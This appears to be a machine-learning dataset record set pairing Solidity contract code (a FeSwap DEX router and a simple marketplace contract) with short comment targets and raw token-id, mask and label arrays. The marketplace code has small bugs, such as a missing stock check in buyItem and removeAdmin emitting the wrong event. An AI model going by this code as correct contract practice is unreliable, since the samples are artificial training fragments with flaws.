transferFrom(address from, address to, uint value) external returns (bool); } // import './interfaces/IWETH.sol'; pragma solidity =0.6.12; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // import './interfaces/IFeswaNFT.sol'; pragma solidity =0.6.12; enum PoolRunningPhase { BidToStart, BidPhase, BidDelaying, BidSettled, PoolHolding, PoolForSale } struct FeswaPairNFT { address tokenA; address tokenB; uint256 currentPrice; uint64 timeCreated; uint64 lastBidTime; PoolRunningPhase poolState; } interface IFeswaNFT { // Views function ownerOf(uint256 tokenId) external view returns (address owner); function getPoolInfo(uint256 tokenId) external view returns (address, FeswaPairNFT memory); } // import './interfaces/IFeSwapFactory.sol'; // import './libraries/TransferHelper.sol'; // import './interfaces/IFeSwapRouter.sol'; // import './libraries/FeSwapLibrary.sol'; // import './libraries/SafeMath.sol'; // import './interfaces/IERC20.sol'; // import './interfaces/IWETH.sol'; // import './interfaces/IFeswaNFT.sol'; contract FeSwapRouter is IFeSwapRouter{ using SafeMath for uint; address public immutable override factory; address public immutable override feswaNFT; address public immutable override WETH; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'FeSwapRouter: EXPIRED'); _; } constructor(address _factory, address _feswaNFT, address _WETH) public { factory = _factory; feswaNFT = _feswaNFT; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } // **** CREATE SWAP PAIR **** function ManageFeswaPair( uint256 tokenID, address pairOwner, uint256 rateTrigger ) external virtual override returns (address pairAAB, address pairABB) { (address nftOwner, FeswaPairNFT memory NftBidInfo) = IFeswaNFT(feswaNFT).getPoolInfo(tokenID); require(msg.sender == nftOwner, 'FeSwap: NOT TOKEN OWNER'); require(NftBidInfo.poolState >= PoolRunningPhase.BidSettled, 'FeSwap: NOT ALLOWED'); (address tokenA, address tokenB) = (NftBidInfo.tokenA, NftBidInfo.tokenB); (pairAAB, pairABB) = IFeSwapFactory(factory).createUpdatePair(tokenA, tokenB, pairOwner, rateTrigger); } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenIn, address tokenOut, uint amountInDesired, uint amountOutDesired, uint amountInMin, uint amountOutMin ) internal virtual view returns (uint amountIn, uint amountOut, address pair) { pair = FeSwapLibrary.pairFor(factory, tokenIn, tokenOut); require(pair != address(0), 'FeSwap: NOT CREATED'); (uint reserveIn, uint reserveOut, ,) = IFeSwapPair(pair).getReserves(); if (reserveIn == 0 && reserveOut == 0) { (amountIn, amountOut) = (amountInDesired, amountOutDesired); } else { uint amountOutOptimal = FeSwapLibrary.quote(amountInDesired, reserveIn, reserveOut); if (amountOutOptimal <= amountOutDesired) { require(amountOutOptimal >= amountOutMin, 'FeSwap: LESS_OUT_AMOUNT'); (amountIn, amountOut) = (amountInDesired, amountOutOptimal); } else { uint amountInOptimal = FeSwapLibrary.quote(amountOutDesired, reserveOut, reserveIn); assert(amountInOptimal <= amountInDesired); require(amountInOptimal >= amountInMin, 'FeSwap: LESS_IN_AMOUNT'); (amountIn, amountOut) = (amountInOptimal, amountOutDesired); } } } function addLiquidity( AddLiquidityParams calldata addParams, address to, uint deadline ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidityAAB, uint liquidityABB) { require(addParams.ratio <= 100, 'FeSwap: RATIO EER'); if(addParams.ratio != uint(0)) { address pairA2B; uint liquidityA = addParams.amountADesired.mul(addParams.ratio)/100; uint liquidityB = addParams.amountBDesired.mul(addParams.ratio)/100; uint amountAMin = addParams.amountAMin.mul(addParams.ratio)/100; uint amountBMin = addParams.amountBMin.mul(addParams.ratio)/100; (amountA, amountB, pairA2B) = _addLiquidity(addParams.tokenA, addParams.tokenB, liquidityA, liquidityB, amountAMin, amountBMin); TransferHelper.safeTransferFrom(addParams.tokenA, msg.sender, pairA2B, amountA); TransferHelper.safeTransferFrom(addParams.tokenB, msg.sender, pairA2B, amountB); liquidityAAB = IFeSwapPair(pairA2B).mint(to); } if(addParams.ratio != uint(100)) { address pairB2A; uint liquidityA = addParams.amountADesired - amountA; uint liquidityB = addParams.amountBDesired - amountB; uint amountAMin = (addParams.amountAMin > amountA) ? (addParams.amountAMin - amountA) : 0 ; uint amountBMin = (addParams.amountBMin > amountB) ? (addParams.amountBMin - amountB) : 0 ; (liquidityB, liquidityA, pairB2A) = _addLiquidity(addParams.tokenB, addParams.tokenA, liquidityB, liquidityA, amountBMin, amountAMin); TransferHelper.safeTransferFrom(addParams.tokenA, msg.sender, pairB2A, liquidityA); TransferHelper.safeTransferFrom(addParams.tokenB, msg.sender, pairB2A, liquidityB); liquidityABB = IFeSwapPair(pairB2A).mint(to); amountA += liquidityA; amountB += liquidityB; } } function addLiquidityETH( AddLiquidityETHParams calldata addParams, address to, uint deadline ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidityTTE, uint liquidityTEE) { require(addParams.ratio <= 100, 'FeSwap: RATIO EER'); if(addParams.ratio != uint(0)) { address pairTTE; uint liquidityToken = addParams.amountTokenDesired.mul(addParams.ratio)/100; uint liquidityETH = msg.value.mul(addParams.ratio)/100; uint amountTokenMin = addParams.amountTokenMin.mul(addParams.ratio)/100; uint amountETHMin = addParams.amountETHMin.mul(addParams.ratio)/100; (amountToken, amountETH, pairTTE) = _addLiquidity(addParams.token, WETH, liquidityToken, liquidityETH, amountTokenMin, amountETHMin); TransferHelper.safeTransferFrom(addParams.token, msg.sender, pairTTE, amountToken); IWETH(WETH).deposit{value: amountETH}(); assert(IWETH(WETH).transfer(pairTTE, amountETH)); liquidityTTE = IFeSwapPair(pairTTE).mint(to); } if(addParams.ratio != uint(100)){ address pairTEE; uint liquidityToken = addParams.amountTokenDesired - amountToken; uint liquidityETH = msg.value - amountETH; uint amountTokenMin = (addParams.amountTokenMin > amountToken) ? (addParams.amountTokenMin - amountToken) : 0 ; uint amountETHMin = (addParams.amountETHMin > amountETH) ? (addParams.amountETHMin - amountETH) : 0 ; (liquidityETH, liquidityToken, pairTEE) = _addLiquidity(WETH, addParams.token, liquidityETH, liquidityToken, amountETHMin, amountTokenMin); TransferHelper.safeTransferFrom(addParams.token, msg.sender, pairTEE, liquidityToken); IWETH(WETH).deposit{value: liquidityETH}(); assert(IWETH(WETH).transfer(pairTEE, liquidityETH)); liquidityTEE = IFeSwapPair(pairTEE).mint(to); amountToken += liquidityToken; amountETH += liquidityETH; } // refund dust eth, if any if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH); } // **** REMOVE LIQUIDITY **** function removeLiquidity( RemoveLiquidityParams calldata removeParams, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { if(removeParams.liquidityAAB != uint(0)) { address pairAAB = FeSwapLibrary.pairFor(factory, removeParams.tokenA, removeParams.tokenB); IFeSwapPair(pairAAB).transferFrom(msg.sender, pairAAB, removeParams.liquidityAAB); // send liquidity to pair (amountA, amountB) = IFeSwapPair(pairAAB).burn(to); } if(removeParams.liquidityABB != uint(0)) { address pairABB = FeSwapLibrary.pairFor(factory, removeParams.tokenB, removeParams.tokenA); IFeSwapPair(pairABB).transferFrom(msg.sender, pairABB, removeParams.liquidityABB); // send liquidity to pair (uint amountB0, uint amountA0) = IFeSwapPair(pairABB).burn(to); amountA += amountA0; amountB += amountB0; } require(amountA >= removeParams.amountAMin, 'FeSwapRouter: INSUFFICIENT_A_AMOUNT'); require(amountB >= removeParams.amountBMin, 'FeSwapRouter: INSUFFICIENT_B_AMOUNT'); } function removeLiquidityETH( RemoveLiquidityParams calldata removeParams, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) { require(removeParams.tokenB == WETH, 'FeSwap: WRONG WETH'); (amountToken, amountETH) = removeLiquidity( removeParams, address(this), deadline ); TransferHelper.safeTransfer(removeParams.tokenA, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removePermit( RemoveLiquidityParams calldata removeParams, uint deadline, bool approveMax, Signature calldata sigAAB, Signature calldata sigABB ) internal { if(sigAAB.s != 0){ address pairAAB = FeSwapLibrary.pairFor(factory, removeParams.tokenA, removeParams.tokenB); uint value = approveMax ? uint(-1) : removeParams.liquidityAAB; IFeSwapPair(pairAAB).permit(msg.sender, address(this), value, deadline, sigAAB.v, sigAAB.r, sigAAB.s); } if(sigABB.s != 0){ address pairABB = FeSwapLibrary.pairFor(factory, removeParams.tokenB, removeParams.tokenA); uint value = approveMax ? uint(-1) : removeParams.liquidityABB; IFeSwapPair(pairABB).permit(msg.sender, address(this), value, deadline, sigABB.v, sigABB.r, sigABB.s); } } function removeLiquidityWithPermit( RemoveLiquidityParams calldata removeParams, address to, uint deadline, bool approveMax, Signature calldata sigAAB, Signature calldata sigABB ) external virtual override returns (uint amountA, uint amountB) { removePermit(removeParams, deadline, approveMax, sigAAB, sigABB); (amountA, amountB) = removeLiquidity(removeParams, to, deadline); } function removeLiquidityETHWithPermit( RemoveLiquidityParams calldata removeParams, address to, uint deadline, bool approveMax, Signature calldata sigTTE, Signature calldata sigTEE ) external virtual override returns (uint amountToken, uint amountETH) { removePermit(removeParams, deadline, approveMax, sigTTE, sigTEE); (amountToken, amountETH) = removeLiquidityETH(removeParams, to, deadline); } // **** REMOVE LIQUIDITY (supporting deflation tokens) **** function removeLiquidityETHFeeOnTransfer( RemoveLiquidityParams calldata removeParams, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountETH) { require(removeParams.tokenB == WETH, 'FeSwap: WRONG WETH'); uint amountToken; uint balanceToken; (amountToken, amountETH) = removeLiquidity( removeParams, address(this), deadline ); balanceToken = IERC20(removeParams.tokenA).balanceOf(address(this)); if(balanceToken < amountToken) amountToken = balanceToken; TransferHelper.safeTransfer(removeParams.tokenA, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitFeeOnTransfer( RemoveLiquidityParams calldata removeParams, address to, uint deadline, bool approveMax, Signature calldata sigTTE, Signature calldata sigTEE ) external virtual override returns (uint amountETH) { removePermit(removeParams, deadline, approveMax, sigTTE, sigTEE); amountETH = removeLiquidityETHFeeOnTransfer(removeParams, to, deadline); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i = 0; i < path.length - 1; i++) { (address tokenInput, address tokenOutput) = (path[i], path[i + 1]); uint amountOut = amounts[i + 1]; address to = i < path.length - 2 ? FeSwapLibrary.pairFor(factory, tokenOutput, path[i + 2]) : _to; IFeSwapPair(FeSwapLibrary.pairFor(factory, tokenInput, tokenOutput)) .swap(amountOut, to, new bytes(0)); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { address firstPair; (firstPair, amounts) = FeSwapLibrary.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'FeSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom(path[0], msg.sender, firstPair , amountIn); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { address firstPair; uint amountsTokenIn; (firstPair, amounts) = FeSwapLibrary.getAmountsIn(factory, amountOut, path); amountsTokenIn = amounts[0]; require(amountsTokenIn <= amountInMax, 'FeSwapRouter: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom(path[0], msg.sender, firstPair, amountsTokenIn); _swap(amounts, path, to); } function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'FeSwapRouter: INVALID_PATH'); address firstPair; uint amountsETHIn = msg.value; (firstPair, amounts) = FeSwapLibrary.getAmountsOut(factory, amountsETHIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'FeSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: amountsETHIn}(); assert(IWETH(WETH).transfer(firstPair, amountsETHIn)); _swap(amounts, path, to); } function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'FeSwapRouter: INVALID_PATH'); address firstPair; (firstPair, amounts) = FeSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'FeSwapRouter: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom(path[0], msg.sender, firstPair, amounts[0]); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'FeSwapRouter: INVALID_PATH'); address firstPair; uint amountsETHOut; (firstPair, amounts) = FeSwapLibrary.getAmountsOut(factory, amountIn, path); amountsETHOut = amounts[amounts.length - 1]; require(amountsETHOut >= amountOutMin, 'FeSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom(path[0], msg.sender, firstPair, amountIn); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amountsETHOut); TransferHelper.safeTransferETH(to, amountsETHOut); } function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'FeSwapRouter: INVALID_PATH'); address firstPair; uint amountsETHIn; (firstPair, amounts) = FeSwapLibrary.getAmountsIn(factory, amountOut, path); amountsETHIn = amounts[0]; require(amountsETHIn <= msg.value, 'FeSwapRouter: EXCESSIVE_INPUT_AMOUNT'); IWETH(WETH).deposit{value: amountsETHIn}(); assert(IWETH(WETH).transfer(firstPair, amountsETHIn)); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amountsETHIn) TransferHelper.safeTransferETH(msg.sender, msg.value - amountsETHIn); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapTokensFeeOnTransfer(address[] memory path, address _to) internal virtual { for (uint i = 0; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (uint reserveInput, uint reserveOutput, address pair, ) = FeSwapLibrary.getReserves(factory, input, output); uint amountInput = IERC20(input).balanceOf(pair).sub(reserveInput); uint amountOutput = FeSwapLibrary.getAmountOut(amountInput, reserveInput, reserveOutput); address to = i < path.length - 2 ? FeSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; IFeSwapPair(pair).swap(amountOutput, to, new bytes(0)); } } function swapExactTokensForTokensFeeOnTransfer( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { FeSwapLibrary.executeArbitrage(factory, path); TransferHelper.safeTransferFrom( path[0], msg.sender, FeSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapTokensFeeOnTransfer(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'FeSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactETHForTokensFeeOnTransfer( uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override payable ensure(deadline) { require(path[0] == WETH, 'FeSwapRouter: INVALID_PATH'); FeSwapLibrary.executeArbitrage(factory, path); uint amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(FeSwapLibrary.pairFor(factory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapTokensFeeOnTransfer(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'FeSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactTokensForETHFeeOnTransfer( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { require(path[path.length - 1] == WETH, 'FeSwapRouter: INVALID_PATH'); FeSwapLibrary.executeArbitrage(factory, path); TransferHelper.safeTransferFrom( path[0], msg.sender, FeSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); _swapTokensFeeOnTransfer(path, address(this)); uint amountOut = IERC20(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, 'FeSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } // **** LIBRARY FUNCTIONS **** function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return FeSwapLibrary.quote(amountA, reserveA, reserveB); } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountOut) { return FeSwapLibrary.getAmountOut(amountIn, reserveIn, reserveOut); } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountIn) { return FeSwapLibrary.getAmountIn(amountOut, reserveIn, reserveOut); } function estimateAmountsOut(uint amountIn, address[] calldata path) public view virtual override returns (uint[] memory amounts) { return FeSwapLibrary.estimateAmountsOut(factory, amountIn, path); } function estimateAmountsIn(uint amountOut, address[] calldata path) public view virtual override returns (uint[] memory amounts) { return FeSwapLibrary.estimateAmountsIn(factory, amountOut, path); } }
performs chained estimateAmountsOut calculations on any number of pairs
function estimateAmountsOut(address factory, uint amountIn, address[] calldata path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'FeSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i = 0; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut, ) = culculatePairPools(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } }
6,066,726
[ 1, 457, 9741, 20269, 11108, 6275, 87, 1182, 20882, 603, 1281, 1300, 434, 5574, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11108, 6275, 87, 1182, 12, 2867, 3272, 16, 2254, 3844, 382, 16, 1758, 8526, 745, 892, 589, 13, 2713, 1476, 1135, 261, 11890, 8526, 3778, 30980, 13, 288, 203, 3639, 2583, 12, 803, 18, 2469, 1545, 576, 16, 296, 2954, 12521, 9313, 30, 10071, 67, 4211, 8284, 203, 3639, 30980, 273, 394, 2254, 8526, 12, 803, 18, 2469, 1769, 203, 3639, 30980, 63, 20, 65, 273, 3844, 382, 31, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 589, 18, 2469, 300, 404, 31, 277, 27245, 288, 203, 5411, 261, 11890, 20501, 382, 16, 2254, 20501, 1182, 16, 262, 273, 276, 332, 6569, 4154, 16639, 12, 6848, 16, 589, 63, 77, 6487, 589, 63, 77, 397, 404, 19226, 203, 5411, 30980, 63, 77, 397, 404, 65, 273, 24418, 1182, 12, 8949, 87, 63, 77, 6487, 20501, 382, 16, 20501, 1182, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "./SafeMath.sol"; import "./Ownable.sol"; import "./Stoppable.sol"; /** @title Market. */ contract Market is Ownable, Stoppable { using SafeMath for uint; uint skuCount = 0; uint storeCount = 0; // for circuit breaker bool public stopped = false; // User Structure struct User{ string name; mapping(uint => mapping(uint => uint)) orders; // storeID => itemID => quantity } /** @dev User Structure defines user. */ struct Store { address payable storeOwner; string storeName; uint storeSkuCount; uint storeBalance; mapping (uint=>Item) storeItems; } /** @dev Item defines one item. */ struct Item { string name; string ipfsImage; uint sku; uint price; } mapping(uint => Store) public stores; mapping(address => bool) public isAdmin; mapping(address => User) public people; event ForSale(uint _sku, uint _storeID, string _name, uint _quantity); event Sold(uint _sku, uint _storeID, uint _quantity); event AdminAdded(address _user); event AdminRemoved(address _user); event StoreAdded(address _owner, string _name, uint _skuCount); event StoreRemoved(address _user); event StoreBalanceWithdrawn(uint _storeID, uint balanceToWithdraw); event ItemDeleted(uint _storeID, uint _sku); // Verifires caller's address modifier verifyCaller (address _address) { require (msg.sender == _address); _; } // Checks if store exists or not modifier checkStoreExistence(uint _storeID) { require(_storeID <= storeCount, "Invalid StoreID provided"); _; } modifier checkOwnerOfStore(address _storeOwner, uint _storeID) { // Why I removed fallback string? // https://github.com/ethereum/solidity/issues/3971 require (_storeOwner == stores[_storeID].storeOwner); _; } // Checks if user paid enough modifier paidEnough(uint _totalPrice) { require(msg.value >= _totalPrice); _; } modifier checkQuantity(uint _quantity, uint _storeID, uint _itemCode) { require(_quantity <= stores[_storeID].storeItems[_itemCode].sku, "Not sufficient quantity available"); _; } constructor() public { isAdmin[owner] = true; } function getStoreItemCount(uint _storeID) public view returns(uint) { return stores[_storeID].storeSkuCount; } function getStoreCount() public view returns(uint) { return storeCount; } function getOrderDetails(uint _storeID, uint _itemCode) public view returns(uint, uint) { uint quantity = people[msg.sender].orders[_storeID][_itemCode]; uint price = stores[_storeID].storeItems[_itemCode].price; return(quantity, price); } function addItem(string memory _name, uint _price, uint _sku, uint _storeID, string memory _imageHash) public checkOwnerOfStore(msg.sender, _storeID) stopInEmergency() { require(bytes(_name).length <= 20, "Please keep name under 20 chars"); // This makes sure that we don't end up using infinite gas skuCount = SafeMath.add(skuCount, 1); uint count = stores[_storeID].storeSkuCount; // increase overall items count stores[_storeID].storeItems[count].name = _name; stores[_storeID].storeItems[count].price = _price; stores[_storeID].storeItems[count].sku = _sku; stores[_storeID].storeItems[count].ipfsImage = _imageHash; stores[_storeID].storeSkuCount = SafeMath.add(count, 1); // increase overall items count emit ForSale(skuCount, _storeID, _name, _sku); } function deleteItem(uint _sku, uint _storeID) public checkOwnerOfStore(msg.sender, _storeID) stopInEmergency() { delete stores[_storeID].storeItems[_sku]; emit ItemDeleted(_storeID, _sku); } function buyItem(uint _sku, uint _quantity, uint _storeID) public payable stopInEmergency() paidEnough(SafeMath.mul(stores[_storeID].storeItems[_sku].price, _quantity)) { uint transactAmount = SafeMath.mul(stores[_storeID].storeItems[_sku].price, _quantity); stores[_storeID].storeItems[_sku].sku = SafeMath.sub(stores[_storeID].storeItems[_sku].sku, _quantity); stores[_storeID].storeBalance = SafeMath.add(stores[_storeID].storeBalance, transactAmount); people[msg.sender].orders[_storeID][_sku] = SafeMath.add(people[msg.sender].orders[_storeID][_sku], _quantity); emit Sold(_sku, _storeID, _quantity); } function withdrawStoreBalance(uint _storeID, uint amountToWithdraw) public payable stopInEmergency() checkOwnerOfStore(msg.sender, _storeID) { require(amountToWithdraw <= stores[_storeID].storeBalance); stores[_storeID].storeOwner.transfer(amountToWithdraw); stores[_storeID].storeBalance = SafeMath.sub(stores[_storeID].storeBalance, amountToWithdraw); emit StoreBalanceWithdrawn(_storeID, amountToWithdraw); } function fetchItem(uint _sku, uint _storeID) stopInEmergency() public view returns (string memory name, uint sku, uint price, string memory image) { Item memory item = stores[_storeID].storeItems[_sku]; name = item.name; sku = item.sku; price = item.price; image = item.ipfsImage; return (name, sku, price, image); } function addStore(string memory _name, address payable _storeOwner, uint _storeSkuCount) public stopInEmergency() { require(bytes(_name).length <= 20, "Please keep name under 20 charachters"); // This makes sure that we don't end up using infinite gas. stores[storeCount].storeName = _name; stores[storeCount].storeOwner = _storeOwner; stores[storeCount].storeSkuCount = _storeSkuCount; storeCount = SafeMath.add(storeCount, 1); emit StoreAdded(_storeOwner, _name, _storeSkuCount); } function freezeMarket() public onlyOwner() { stopped = true; } function resumeMarket() public onlyOwner() { stopped = false; } function withdrawAll() public onlyOwner() onlyInEmergency() { owner.transfer(address(this).balance); } function addAdmin(address _user) public stopInEmergency() onlyOwner() { isAdmin[_user] = true; emit AdminAdded(_user); } function removeAdmin(address _user) public onlyOwner() stopInEmergency() { isAdmin[_user] = false; emit AdminAdded(_user); } function getStore(uint _storeID) public view checkStoreExistence(_storeID) returns(string memory, address, uint) { Store memory store = stores[_storeID]; return (store.storeName, store.storeOwner, store.storeSkuCount); } function getStoreBalance(uint _storeID) public view stopInEmergency() returns(uint) { return stores[_storeID].storeBalance; } // If nothing is mathced do this. function() external { revert(); } }
increase overall items count
stores[_storeID].storeSkuCount = SafeMath.add(count, 1);
5,548,180
[ 1, 267, 11908, 13914, 1516, 1056, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9064, 63, 67, 2233, 734, 8009, 2233, 24130, 1380, 273, 14060, 10477, 18, 1289, 12, 1883, 16, 404, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 